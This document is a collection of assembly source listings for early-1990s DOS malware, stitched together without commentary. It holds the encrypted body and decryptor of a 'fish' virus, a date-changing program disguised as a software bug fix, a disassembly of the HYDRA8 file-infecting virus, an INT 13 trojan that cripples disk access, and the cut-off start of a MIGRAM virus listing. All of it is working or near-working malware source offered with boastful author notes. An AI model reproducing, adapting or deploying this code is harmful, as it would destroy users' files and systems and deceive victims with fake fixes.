               db      3Eh, 0DFh, 0E5h, 0E2h, 0FAh, 0BCh
               db      11h, 0B9h, 32h, 0B7h, 9, 0Dh
               db      0E5h, 0E8h, 0FAh, 3Eh, 0C4h, 0B5h
               db      0Fh, 4Fh, 86h, 0DCh, 0E5h, 0D6h
               db      0FAh, 84h, 1Bh, 0A6h, 3, 0AEh
               db      0A4h, 3, 86h, 0F5h, 8, 2
               db      0Dh, 8Eh, 0DFh, 0Dh, 28h, 0FDh
               db      0F2h, 24h, 0CAh, 0B4h, 1Dh, 0Dh
               db      0FAh, 0FCh, 86h, 0FDh, 0CEh, 5Dh
               db      44h, 46h, 48h, 3Eh, 0C4h, 0B5h
               db      0Dh, 4Fh, 86h, 0DCh, 0E5h, 0BCh
               db      0FAh, 0BCh, 11h, 0B9h, 4Dh, 0B7h
               db      0Dh, 3, 0E5h, 0AAh, 0FAh, 0B5h
               db      1Dh, 0Dh, 0FAh, 0EBh, 86h, 0C7h
               db      86h, 0DDh, 0B5h, 0Dh, 4Fh, 0E5h
               db      95h, 0FAh, 0B4h, 0Dh, 3, 3Eh
               db      0DFh, 0Ch, 0F4h, 0B9h, 4Dh, 23h
               db      0CBh, 0Bh, 3Eh, 3, 0Ch, 5Eh
               db      0E5h, 0D0h, 9, 56h, 86h, 3
               db      24h, 3, 0B5h, 0Ch, 5Ah, 86h
               db      1Bh, 26h, 3, 0FBh, 0CBh, 8Dh
               db      78h, 0Eh, 8Dh, 0CBh, 0C5h, 0E5h
               db      63h, 0FAh, 0CEh, 0E5h, 0C8h, 0FAh
               db      84h, 0DAh, 8Eh, 0CAh, 0, 13h
               db      0Ah, 0E6h, 2Dh, 0E5h, 0B4h, 0FAh
               db      13h, 0Ah, 0B4h, 5Dh, 0Dh, 84h
               db      0DAh, 0BEh, 0Dh, 3Eh, 0CDh, 8Dh
               db      70h, 0Ch, 37h, 78h, 8, 87h
               db      10h, 8Dh, 0EEh, 12h, 23h, 85h
               db      13h, 25h, 3, 0FFh, 0A3h, 86h
               db      48h, 0F0h, 28h, 0D2h, 0D2h, 0Fh
               db      0EDh, 87h, 48h, 0F1h, 29h, 0D2h
               db      0Fh, 0C9h, 23h, 0CBh, 0Bh, 2Dh
               db      0Dh, 0Dh, 31h, 0D2h, 79h, 4
               db      23h, 0F3h, 0Bh, 2Dh, 0Dh, 31h
               db      0EFh, 78h, 0, 0E5h, 5Fh, 0FAh
               db      0F5h, 0CEh
               db      '@LNFH_HA'
               db      0E5h, 48h, 0FAh, 0F4h, 0CEh, 5Eh
               db      0B9h, 5Ch, 0E5h, 0Ah, 0FAh, 23h
               db      84h, 13h, 0AEh, 3, 56h, 0CEh
               db      0E5h, 0A1h, 0Fh, 5Fh, 0B9h, 3Bh
               db      23h, 87h, 1Bh, 25h, 3, 0E5h
               db      0FFh, 0FBh, 0FAh, 0ECh, 0FAh, 0EEh
               db      84h, 0DEh, 57h, 6, 0D6h, 78h
               db      8, 30h, 0Dh, 4Dh, 7Fh, 45h
               db      0B5h, 0Dh, 4Eh, 0E5h, 0D1h, 0FBh
               db      7Fh, 4Dh, 23h, 84h, 1Bh, 0F9h
               db      3, 23h, 84h, 3, 0FFh, 3
               db      23h, 81h, 13h, 0FBh, 3, 0B5h
               db      0Ch, 4Eh, 3Eh, 0C4h, 0E5h, 0CEh
               db      0FBh, 23h, 8Dh, 33h, 0D7h, 3
               db      0Dh, 78h, 2Ch, 0B5h, 0Fh, 30h
               db      0E5h, 0B8h, 0FBh, 7Fh, 14h, 86h
               db      0D5h, 5Eh, 0B9h, 3Fh, 23h, 87h
               db      1Bh, 25h, 3, 0E5h, 0ABh, 0FBh
               db      86h, 4Ah, 13h, 23h, 0AEh, 0E1h
               db      3, 56h, 0E5h, 0C7h, 0Fh, 0CEh
               db      3Eh, 0D6h, 46h, 0E5h, 0CEh, 0Fh
               db      0CEh, 5Ch, 5Fh, 5Dh, 0B5h, 0Dh
               db      49h, 0E5h, 87h, 0FBh, 8Dh, 0FFh
               db      8Dh, 0FBh, 0CFh, 8Dh, 79h, 4
               db      0B5h, 0Dh, 5Ah, 0E5h, 71h, 0FBh
               db      0FBh, 0CBh, 8Dh, 55h, 57h, 54h
               db      0CEh, 0E5h, 0C0h, 0FBh, 3Eh, 0C4h
               db      0B5h, 0Ch, 4Fh, 3Eh, 0DFh, 0E5h
               db      65h, 0FBh, 23h, 84h, 1Bh, 0AAh
               db      3, 23h, 0AEh, 0A8h, 3, 0B5h
               db      0Fh, 4Fh, 3Eh, 0C4h, 3Eh, 0DFh
               db      0E5h, 58h, 0FBh
loc_3:
               and     ax,ds:data_10e[si]      ; (7415:A61B=0)
               add     sp,[bp+di]
               scasb                           ; Scan es:[di] for al
               movsb                           ; Mov [si] to es:[di]
               add     si,ds:data_9e[di]       ; (7415:4F0D=0)
               and     ax,[bp-57E5h]
               add     sp,[bp+di]
               xchg    al,[bp+di]
               stosb                           ; Store al to es:[di]
               add     sp,bp
               xor     bx,di
               in      ax,62h                  ; port 62h, 8255 C - sw2, etc.
               sti                             ; Enable interrupts
               into                            ; Int 4 on overflow
               dec     bx
               inc     sp
               pop     si
               inc     bp
               pop     es
               int     78h
               das                             ; Decimal adjust
               and     cx,[bp-41D5h]
               add     si,bx
               in      ax,48h                  ; port 48h
               sti                             ; Enable interrupts
               in      ax,29h                  ; port 29h
               sti                             ; Enable interrupts
               jg      loc_4                   ; Jump if >
               sti                             ; Enable interrupts
               retf                            ; Return far
               db      8Dh, 79h, 0Eh, 8Dh
loc_4:
               jcxz    loc_3                   ; Jump if cx=0
               in      al,15h                  ; port 15h
               hlt                             ; Halt processor
               and     cx,[bp-41FDh]
               add     cx,[si]
               in      al,2                    ; port 2, DMA-1 bas&add ch 1
               hlt                             ; Halt processor
               xor     [si],cx
               js      $+3Ch                   ; Jump if sign=1
               and     cx,[bp-41D5h]
               add     si,bx
               sti                             ; Enable interrupts
               retf                            ; Return far
               db      8Dh, 79h, 0Eh, 8Dh, 0E3h, 0C5h
               db      0E5h, 6Bh, 0F2h, 79h, 0Eh, 8Dh
               db      0CBh, 0C5h, 0E5h, 0FCh, 0F8h, 84h
               db      4Bh, 0F1h, 23h, 8Eh, 1Bh, 0BEh
               db      3, 0Dh, 0E4h, 48h, 0F4h, 31h
               db      0Fh, 78h, 3, 0E5h, 46h, 0F2h
               db      79h, 4, 8Ch, 63h, 0FBh, 0Dh
               db      3, 8Eh, 53h, 0F5h, 0Dh, 0E4h
               db      0C0h, 0F5h, 0E5h, 0D5h, 0F8h, 0B9h
               db      27h, 0E5h, 0C5h, 0F8h, 8Ch, 0F4h
               db      0CAh, 0Ah, 7Fh, 6, 0B9h, 4
               db      3, 12h, 0B7h, 0A6h, 0Ch, 0E5h
               db      0B5h, 0F8h, 0F9h, 0E5h, 0DFh, 0F8h
               db      0CEh, 23h, 8Dh, 2Bh, 0BEh, 3
               db      0F3h, 0E5h, 1Ah, 0F2h, 79h, 0D8h
               db      23h, 84h, 1Bh, 0A0h, 3, 23h
               db      84h, 3, 0A2h, 3, 23h, 0CAh
               db      0Bh, 0BCh, 3, 0Dh, 0Dh, 0E5h
               db      12h, 0F2h, 23h, 0ACh, 0A4h, 3
               db      23h, 86h, 1Bh, 0A6h, 3, 20h
               db      0Dh, 3, 8Eh, 0D7h, 0Dh, 23h
               db      26h, 0Bh, 0A8h, 3, 23h, 16h
               db      1Bh, 0AAh, 3, 74h, 5, 0CAh
               db      4Bh, 0F1h, 0Dh, 0Dh, 0E4h, 20h
               db      0F7h, 78h, 5, 36h, 0CCh, 7Ah
               db      9, 23h, 0AEh, 0A2h, 3, 23h
               db      86h, 3, 0AAh, 3, 23h, 86h
               db      1Bh, 0A8h, 3, 6, 0C4h, 78h
               db      8, 8Eh, 0F7h, 11h, 7Bh, 17h
               db      23h, 86h, 1Bh, 0A0h, 3, 0B9h
               db      32h, 23h, 86h, 3, 0A2h, 3
               db      0E5h, 48h, 0F8h, 23h, 0Eh, 0Bh
               db      0BCh, 3, 84h, 4Bh, 0F1h, 0E4h
               db      97h, 0F5h, 84h, 0DAh, 84h, 0DBh
               db      23h, 0Eh, 33h, 0A2h, 3, 8Eh
               db      0F2h, 11h, 7Fh, 5, 3Eh, 0F2h
               db      0E6h, 4, 59h, 58h, 43h, 4Ch
               db      8Eh, 0E2h, 11h, 0FAh, 0D2h, 86h
               db      0CFh, 23h, 86h, 1Bh, 0A4h, 3
               db      23h, 86h, 3, 0A6h, 3, 8Eh
               db      0CFh, 2, 8Eh, 0DCh, 0Dh, 8Eh
               db      0EFh, 0FDh, 8Ch, 0E7h, 0F1h, 0
               db      8Eh, 0D4h, 0Dh, 0Ch, 0CFh, 8Eh
               db      0DCh, 0Dh, 0B5h, 0Dh, 4Fh, 0E5h
               db      0F5h, 0F9h, 0B4h, 11h, 0Dh, 24h
               db      0F4h, 24h, 0FCh, 0B9h, 32h, 23h
               db      86h, 1Bh, 0A0h, 3, 0E5h, 0EAh
               db      0F9h, 23h, 0Ch, 0Bh, 0A0h, 3
               db      23h, 24h, 0Bh, 0A2h, 3, 23h
               db      0Ch, 0Bh, 0BCh, 3, 3Eh, 0C4h
               db      0B5h, 0Dh, 4Fh, 0B7h, 11h, 0Dh
               db      0E5h, 0C0h, 0F9h, 0E4h, 7Bh, 0F2h
               db      23h, 2Ch, 2Bh, 3Ch, 3, 0E4h
               db      35h, 0Ch, 23h, 8Eh, 2Bh, 0BEh
               db      3, 0F3h, 0E5h, 0DAh, 0F9h, 0E5h
               db      0BBh, 0F9h, 0E5h, 0B3h, 0F9h, 7Eh
               db      4, 23h, 8Eh, 3, 0BEh, 3
               db      0Ch, 0E4h, 5, 0F5h, 0E5h, 94h
               db      0F4h, 0FBh, 4Ah, 14h, 8Dh, 78h
               db      0Eh, 0E4h, 0F1h, 0FAh, 8Ch, 62h
               db      17h, 0Dh, 3, 8Eh, 52h, 11h
               db      0Dh, 8Dh
               db      62h
loc_5:
               adc     al,0C5h
               in      al,0E1h                 ; port 0E1h
               cli                             ; Disable interrupts
               out     83h,al                  ; port 83h, DMA page reg ch 1
               or      cx,[bx+si+3]
               or      dx,[bp+si]
               db      0F3h, 3, 0Eh, 0Dh, 81h, 0D7h
               db      47h, 83h, 0D7h, 0ACh, 0Eh, 0Dh
               db      0F3h, 0C1h, 0Ch, 0CFh, 0AEh, 0Eh
               db      0Dh, 52h, 4Fh, 83h, 0CFh, 3
               db      12h, 0E5h, 0D2h, 0Dh, 0ACh, 0B3h
               db      0F3h, 2, 0B4h, 0Dh, 5, 84h
               db      0FAh, 0F0h, 0FEh, 0A8h, 0F1h, 0Bh
               db      0B5h, 0D0h, 0Ch, 5Dh, 23h, 83h
               db      0Bh, 48h, 3, 0C6h, 23h, 0CBh
               db      0Bh, 0D7h, 3, 0Dh, 0E5h, 0AEh
               db      0F9h, 3, 0E5h, 77h, 0F2h, 85h
               db      0BDh, 1Eh, 12h, 0E5h, 0F1h, 0F9h
               db      81h, 0Bh, 22h, 3, 84h, 13h
               db      20h, 3, 81h, 0Bh, 36h, 3
               db      0BFh, 0Fh, 84h, 13h, 34h, 3
               db      85h, 1Bh, 5Dh, 3, 0E5h, 0CFh
               db      0F9h, 84h, 2Bh, 0D2h, 3, 81h
               db      1Bh, 0D0h, 3, 3, 0B5h, 24h
               db      1, 5Dh, 0B5h, 7Dh, 0Dh, 0B4h
               db      0F2h, 0F2h, 83h, 0CDh, 3Eh, 0F2h
               db      0BDh, 0C6h, 0FFh, 0A3h
data_6          db      42h                     ; Data table (indexed access)
               db      91h, 0Bh, 5Ah, 91h, 55h, 8Dh
               db      0C1h, 0Ch, 5Dh, 90h, 3Eh, 0CDh
               db      0F2h, 23h, 20h, 3, 3, 12h
               db      0E5h, 64h, 0Dh, 81h, 0BDh, 1Eh
               db      0B7h, 9Dh, 0, 0E5h, 9Eh, 0F9h
               db      0BDh, 29h, 0E5h, 0A9h, 0F9h, 84h
               db      13h, 30h, 3, 0B7h, 0C8h, 0
               db      0BDh, 29h, 81h, 0Bh, 32h, 3
               db      0E5h, 73h, 0F9h, 0E5h, 5, 0F9h
               db      0CEh, 0E5h, 24h, 0F9h, 23h, 0C8h
               db      1Bh, 34h, 3, 0BDh, 1Eh, 0E5h
               db      60h, 0F9h, 23h, 0C8h, 1Bh, 30h
               db      3, 0BDh, 29h, 0E5h, 6Eh, 0F9h
               db      0E5h, 0E0h, 0FEh, 0CEh, 58h, 84h
               db      0E8h, 8Ch, 6Bh, 0Bh, 0F2h, 0F3h
               db      0F2h, 4Bh, 17h, 50h, 0C2h, 23h
               db      0CAh, 0Bh, 5Dh, 3, 0Ch, 9
               db      0E5h, 30h, 0F9h, 0E5h, 0B7h, 0FEh
               db      5Dh, 23h, 0ACh, 0BEh, 3, 0
               db      0Dh, 0Ch, 5Dh, 90h, 55h, 50h
               db      23h, 0F2h, 23h, 38h, 3, 84h
               db      0E5h, 9Fh, 0FEh, 0BDh, 0Ch, 0B7h
               db      66h, 1, 3, 12h, 0E5h, 2Bh
               db      0F9h, 91h, 55h, 0, 0Dh, 0Ch
               db      5Dh, 90h, 4Dh, 0FAh, 0EDh, 3Ah
               db      0AEh, 3Ch, 3, 0E5h, 87h, 0FEh
               db      0CEh, 0F2h, 58h, 84h, 0E8h, 5Dh
               db      8Ch, 73h, 9, 0Dh, 0CDh, 7Eh
               db      1, 23h, 0ACh, 4Ah, 3, 34h
               db      4Bh, 9, 7Bh, 0Eh, 55h, 50h
               db      0C2h, 23h, 8Dh, 33h, 5Dh, 3
               db      0Ch, 79h, 2Bh, 86h, 4Bh, 9
               db      23h, 0AEh, 22h, 3, 86h, 4Bh
               db      0Fh, 23h, 0AEh, 20h, 3, 7Fh
               db      2, 55h, 50h, 23h, 86h, 2Bh
               db      0D2h, 3, 23h, 83h, 1Bh, 0D0h
               db      3, 0E4h, 39h, 0F2h, 8Ch, 6Bh
               db      0Bh, 0F2h, 0F3h, 0E6h, 0C2h, 23h
               db      0F3h, 3, 5Ch, 3, 78h, 0C5h
               db      8Ch, 6Bh, 0Bh, 0F2h, 0F3h, 0E5h
               db      7Ch, 0FEh, 0E5h, 13h, 0FEh, 0B9h
               db      21h, 0E5h, 3, 0FEh, 23h, 85h
               db      1Bh, 5Ch, 0, 23h, 85h, 1Bh
               db      63h, 0, 8Dh, 0E1h, 0Fh, 0E5h
               db      0F3h, 0FFh, 0Fh, 0FFh
data_7          dd      893B8523h
               db      0, 23h, 85h, 3Bh, 0D1h, 0
               db      0BDh, 0Eh
data_8          dd      0BFEA1E5h
               db      12h, 84h, 0D7h, 0BDh, 0Ch, 0E5h
               db      80h, 0FEh, 0E5h, 0F2h, 0FFh, 0E5h
               db      52h, 0FEh, 0E5h, 1Ch, 0FEh, 5Eh
               db      5Ch, 0B6h, 25h, 0Dh, 0B4h, 8Ah
               db      0Fh, 23h, 8Dh, 3Ah, 10h, 8Eh
               db      0CEh, 8, 0EFh, 0FAh, 54h, 56h
               db      0E6h, 97h, 23h, 8Dh, 3, 25h
               db      0Dh, 0Dh, 79h, 1Eh, 5Eh, 5Ch
               db      0B6h, 25h, 0Dh, 0B4h, 8Ah, 0Fh
               db      23h, 8Dh, 3Ah, 10h, 8Eh, 0CEh
               db      8, 0EFh, 0FAh, 54h, 56h, 0E4h
               db      0FEh, 0F9h, 5Ch, 5Eh, 0B6h, 25h
               db      0Dh, 0B4h, 55h, 0Dh, 2Eh, 80h
               db      37h, 0Dh, 43h, 0E2h, 0F9h, 5Bh
               db      59h, 0E8h, 94h, 0F2h, 0EBh, 3Fh
               db      0B8h, 2Eh, 8Fh, 6, 41h, 0Eh
               db      2Eh, 8Fh, 6, 43h, 0Eh, 2Eh
               db      8Fh, 6, 0DBh, 0Eh, 2Eh, 83h
               db      26h, 0DBh, 0Eh, 0FEh, 2Eh, 80h
               db      3Eh, 0DAh, 0Eh, 0, 75h, 11h
               db      2Eh, 0FFh, 36h, 0DBh, 0Eh, 2Eh
               db      0FFh, 1Eh, 2Dh, 0Eh, 73h, 6
               db      2Eh, 0FEh, 6, 0DAh, 0Eh, 0F9h
               db      2Eh, 0FFh, 2Eh, 41h, 0Eh, 89h
               db      32h, 0C0h, 2Eh, 0C6h, 6, 0DAh
               db      0Eh, 1, 0CFh
loc_6:
               call    sub_1                   ; (0EE1)

fish            endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               pop     bx
               sub     bx,0DA9h
               mov     cx,0D58h

locloop_7:
               xor     byte ptr cs:[bx],0Dh
               inc     bx
               loop    locloop_7               ; Loop if cx > 0

               dec     byte ptr cs:data_1e[bx] ; (7415:00B3=0)
               jz      loc_ret_8               ; Jump if zero
               jmp     loc_1                   ; (035A)

loc_ret_8:
               retn
sub_1           endp

               db      20h, 46h, 49h, 53h, 48h, 20h
               db      46h

seg_a           ends



               end     start





;-------------------------------------------------------------------;
; Simple little program to change the date to July 13th, 1990       ;
; Which just happens to be a Friday...what a coincidence....        ;
; This should be great fun if you have a virus or a program that    ;
; goes *BOOM* on Friday the 13th, such as the Israel strain         ;
; Have fun, and remember, I'm not responsible if you get your lazy  ;
; ass busted while trying to bring down the damn Pentagon           ;
; Kryptic Night - SMC - RaCK - U<< - PhD                            ;
;-------------------------------------------------------------------;
CODE    SEGMENT
       Assume  CS:code,DS:code
       ORG     100h

start:  Jmp begin
text1   db      ' Telemate bug fix for version 3.0+$ '  ;Bogus filler text
text2   db      ' TM.EXE fixed!$ '                      ;Bogus filler text
text3   db       07h,'Error! Cannot alter TM.EXE$ '     ;Printed after change

Begin   proc    NEAR
       mov     ah,05h                  ;Function 5 - Set Real Time Clock
       mov     cx,1990h                ;What century
       mov     dx,0713h                ;Month/day
       int     1ah                     ;Execute


       mov     ah,09h                  ;Funtion 9 - Print string
       lea     dx,text3                ;What text to print
       int     21h                     ;Execute function 09
       int     20h                     ;Quit .COM file
       begin   endp
CODE    ENDS                                    ;End segment
       END start                               ;End program






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             HYDRA8                                   лл
;лл                                                                      лл
;лл                                                                      лл
;лл  Disassembly by: -=>Wasp<=- aka >>Night Crawler<<                    лл
;лл                                                                      лл
;лл  Reassemble with TASM 2.0                                            лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

DATA_1E         EQU     80H
DATA_16E        EQU     1EFH
DATA_17E        EQU     1F2H
DATA_18E        EQU     9D9AH

SEG_A           SEGMENT BYTE PUBLIC
               ASSUME  CS:SEG_A, DS:SEG_A


               ORG     100h

HYDRA8          PROC    FAR

START:
               JMP     LOC_2                   ; (01E2)
               DB       59H, 44H, 00H, 00H
DATA_4          DB      'HyDra-8   Beta - Not For Release'
               DB      '. *.CO?'
               DB      0
DATA_7          DW      0, 84FCH
DATA_9          DW      0
DATA_10         DB      0
               DB      29 DUP (0)
DATA_11         DB      0
               DB      0, 0, 0, 0, 0, 0
DATA_12         DB      0
               DB      0, 0, 0, 0, 0, 0
COPYRIGHT       DB      'Copyright (c)'
               DB      '  1991 by C.A.V.E.  '
DATA_13         DB      2AH
               DB       2EH, 45H, 58H, 45H, 00H
DATA_14         DB      33H
               DB      0C9H, 1EH, 52H,0E8H, 06H, 00H
               DB      0E8H, 13H, 00H,0EBH, 36H, 90H
               DB      0BEH, 48H, 01H,0BFH, 5AH, 01H
               DB      0B9H, 12H, 00H

LOCLOOP_1:
               XOR     BYTE PTR [SI],0F5H
               MOVSB                           ; Mov [si] to es:[di]
               LOOP    LOCLOOP_1               ; Loop if cx > 0

               RETN
               MOV     AX,0F00H
               INT     10H                     ; Video display   ah=functn 0Fh
                                               ;  get state, al=mode, bh=page
               MOV     AH,0
               INT     10H                     ; Video display   ah=functn 00h
                                               ;  set display mode in al
               MOV     AX,200H
               MOV     DH,0CH
               MOV     DL,1FH
               INT     10H                     ; Video display   ah=functn 02h
                                               ;  set cursor location in dx
               XOR     DX,DX                   ; Zero register
               MOV     DX,OFFSET DATA_12
               MOV     AH,9
               INT     21H                     ; DOS Services  ah=function 09h
                                               ;  display char string at ds:dx
               MOV     AX,200H
               MOV     DH,18H
               MOV     DL,0
               INT     10H                     ; Video display   ah=functn 02h
                                               ;  set cursor location in dx
               RETN
               MOV     AX,4C00H
               INT     21H                     ; DOS Services  ah=function 4Ch
                                               ;  terminate with al=return code
               ADD     [BP+SI-6563H],AH
               CMC                             ; Complement carry
               PUSHF                           ; Push flags
               XCHG    DH,CH
               MOV     DI,DATA_18E
               DB       9BH,0F5H,0B2H, 94H, 99H, 81H
               DB      0CAH,0D1H
LOC_2:
               PUSH    AX
               MOV     AX,CS
               ADD     AX,1000H
               XOR     DI,DI                   ; Zero register
               MOV     CX,1EFH
               MOV     SI,OFFSET DS:[100H]
               MOV     ES,AX
               REP     MOVSB                   ; Rep when cx >0 Mov [si] to es:[di]
               MOV     AH,1AH
               MOV     DX,OFFSET DATA_10
               INT     21H                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               MOV     AH,4EH                  ; 'N'
               MOV     DX,OFFSET DATA_4+22H
               INT     21H                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               JC      LOC_6                   ; Jump if carry Set
LOC_3:
               MOV     AH,3DH                  ; '='
               MOV     AL,2
               MOV     DX,OFFSET DATA_11
               INT     21H                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               MOV     BX,AX
               PUSH    ES
               POP     DS
               MOV     AX,3F00H
               MOV     CX,0FFFFH
               MOV     DX,DATA_16E
               INT     21H                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               ADD     AX,1EFH
               MOV     CS:DATA_9,AX
               CMP     WORD PTR DS:DATA_17E,4459H
               JNE     LOC_4                   ; Jump if not equal
               MOV     AH,3EH                  ; '>'
               INT     21H                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               PUSH    CS
               POP     DS
               MOV     AH,4FH                  ; 'O'
               INT     21H                     ; DOS Services  ah=function 4Fh
                                               ;  find next filename match
               JC      LOC_7                   ; Jump if carry Set
               JMP     SHORT LOC_3             ; (0204)
LOC_4:
               XOR     CX,CX                   ; Zero register
               MOV     DX,CX
               MOV     AX,4200H
               INT     21H                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               JC      LOC_5                   ; Jump if carry Set
               MOV     AH,40H                  ; '@'
               XOR     DX,DX                   ; Zero register
               MOV     CX,CS:DATA_9
               INT     21H                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
LOC_5:
               MOV     AH,3EH                  ; '>'
               INT     21H                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               PUSH    CS
               POP     DS
LOC_6:
               MOV     AH,1AH
               MOV     DX,DATA_1E
               INT     21H                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               JMP     SHORT LOC_10            ; (02B0)
               DB      90H
LOC_7:
               CLC                             ; Clear carry flag
               XOR     CX,CX                   ; Zero register
               PUSH    DS
               PUSH    DX
               MOV     AH,1AH
               MOV     DX,OFFSET DATA_10
               INT     21H                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               MOV     DX,OFFSET DATA_13
               MOV     AH,4EH                  ; 'N'
               XOR     CX,CX                   ; Zero register
               INT     21H                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               JC      LOC_6                   ; Jump if carry Set
LOC_8:
               MOV     AH,3CH                  ; '<'
               XOR     CX,CX                   ; Zero register
               MOV     DX,OFFSET DATA_11
               INT     21H                     ; DOS Services  ah=function 3Ch
                                               ;  create/truncate file @ ds:dx
               MOV     BX,AX
               JC      LOC_6                   ; Jump if carry Set
               MOV     AX,3D02H
               MOV     DX,OFFSET DATA_11
               INT     21H                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               MOV     BX,AX
               CLC                             ; Clear carry flag
               XOR     DX,DX                   ; Zero register
               MOV     AH,40H                  ; '@'
               MOV     DX,OFFSET DATA_14
               MOV     CX,5AH
               INT     21H                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               CMP     AX,5AH
               JB      LOC_9                   ; Jump if below
               MOV     AH,3EH                  ; '>'
               INT     21H                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               JC      LOC_9                   ; Jump if carry Set
               MOV     AH,4FH                  ; 'O'
               INT     21H                     ; DOS Services  ah=function 4Fh
                                               ;  find next filename match
               JNC     LOC_8                   ; Jump if carry=0
LOC_9:
               MOV     AX,4C00H
               INT     21H                     ; DOS Services  ah=function 4Ch
                                               ;  terminate with al=return code
LOC_10:
               XOR     DI,DI                   ; Zero register
               MOV     SI,OFFSET DATA_15
               MOV     CX,22H
               REP     MOVSB                   ; Rep when cx >0 Mov [si] to es:[di]
               POP     BX
               MOV     CS:DATA_7,0
               MOV     WORD PTR CS:DATA_7+2,ES
               POP     BX
               JMP     DWORD PTR CS:DATA_7
DATA_15         DB      1EH
               DB       07H,0B9H,0FFH,0FFH,0BEH,0EFH
               DB       02H,0BFH, 00H, 01H, 2BH,0CEH
               DB      0F3H,0A4H, 2EH,0C7H, 06H, 00H
               DB       01H, 00H, 01H, 2EH, 8CH, 1EH
               DB       02H, 01H, 8BH,0C3H, 2EH,0FFH
               DB       2EH, 00H, 01H,0CDH
               DB      20H

HYDRA8          ENDP

SEG_A           ENDS



               END     START





;*****************************************************************************
;                      The High Evolutionary's INT 13 Trojan
;*****************************************************************************
;
; Development Notes:
; (Dec.1O.9O)
;
; Well, I was screwing around with TSR's the other day and I got the idea,
; "Hmm. I wonder what would happen if you negated INT 13..." This trojan/TSR
; program answers my query.
;
; It's really a big mess. You can't access any file on the directory, you can't
; DIR anything, can't TYPE anything, I think the only thing you can do is
; DEL which is handled by INT 21.
;
; Well, in any event, put this routine in any nifty source code you see and
; then compile it... It will confuse the fuck out of any 100% "Lame" user.
;
; Have fun...
;
;   -= The High Evolutionary =-
;
;*****************************************************************************
;              Copyright (C) 199O by The RABID Nat'nl Development Corp.
;*****************************************************************************

       code segment
       assume cs:code,ds:code
       org 100h

start:  jmp     init_vectors

       mesg    db      'INT 13 Trojan by The High Evolutionary'
       crud    db      '(C) 199O by RABID Nat''nl Development Corp.'
       crap    dd      ?

program proc    far

       assume cs:code,ds:nothing

       mov     ax,4c00h                ; Terminate Program with exit code 00
       int     21h                     ; Call DOS

program endp

;
; The TSR initialization shit happens here...
;

init_vectors proc near

       assume cs:code,ds:code

       mov     ah,35h                  ; ask for int vector
       mov     al,13h                  ; intercept INT 13
       int     21h                     ; Call DOS
       mov     word ptr crap,bx
       mov     word ptr crap[2],es
       mov     ah,25h                  ; set int value
       mov     al,13h                  ; set for INT 13
       mov     dx,offset program       ; Tell the TSR what to do when accessed
       int     21h                     ; Call DOS
       mov     dx,offset init_vectors  ; Load in this segment into DX
       int     27h                     ; Make the sucker in DX TSR...

init_vectors endp

       code ends
end start






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             MIGRAM                                   лл
;лл                                                                      лл
;лл      Created:   2-Jan-80                                             лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл      (C) 1991 IVL                                                    лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     4Ch                     ; (0000:004C=0D0h)
data_3e         equ     84h                     ; (0000:0084=0C7h)
data_5e         equ     90h                     ; (0000:0090=0BFh)
data_7e         equ     102h                    ; (0000:0102=0F000h)
data_8e         equ     106h                    ; (0000:0106=0F000h)
data_9e         equ     47Bh                    ; (0000:047B=14h)
data_10e        equ     0                       ; (0676:0000=0E8h)
data_11e        equ     1                       ; (0677:0001=3EC4h)
data_12e        equ     2                       ; (06C7:0002=0B8C3h)
data_13e        equ     6                       ; (06C7:0006=0F0EBh)
data_35e        equ     0FCB6h                  ; (7382:FCB6=0)
data_36e        equ     0FCB8h                  ; (7382:FCB8=0)
data_37e        equ     0FCD4h                  ; (7382:FCD4=0)
data_38e        equ     0FCD6h                  ; (7382:FCD6=0)
data_39e        equ     0FCD8h                  ; (7382:FCD8=0)
data_40e        equ     0FCE2h                  ; (7382:FCE2=0)
data_41e        equ     0FCE4h                  ; (7382:FCE4=0)
data_42e        equ     0FCEAh                  ; (7382:FCEA=0)
data_43e        equ     0FCECh                  ; (7382:FCEC=0)
data_44e        equ     0                       ; (F000:0000=0AA55h)
data_45e        equ     2                       ; (F000:0002=40h)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

migram          proc    far

start:
               jmp     loc_22                  ; (0449)
               db      0C3h
               db      23 dup (0C3h)
               db      2Ah, 2Eh, 5Ah, 49h, 50h, 0
data_17         dw      0C3C3h
data_18         dw      0C3C3h
data_19         db      0, 0
data_20         dw      0
data_21         dw      0
data_22         dw      0
data_23         dw      7382h
data_24         dd      00000h
data_25         dw      0
data_26         dw      7382h
data_27         dd      00000h
data_28         dw      0
data_29         dw      7382h
data_30         db      0Ah, 0Dh, ' ЩЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ'
               db      'Л', 0Ah, 0Dh, ' К  MIGRAM VIRUS '
               db      '1.0  К', 0Ah, 0Dh, ' К    (C) 19'
               db      '91 IVL    К', 0Ah, 0Dh, ' ШЭЭЭЭЭ'
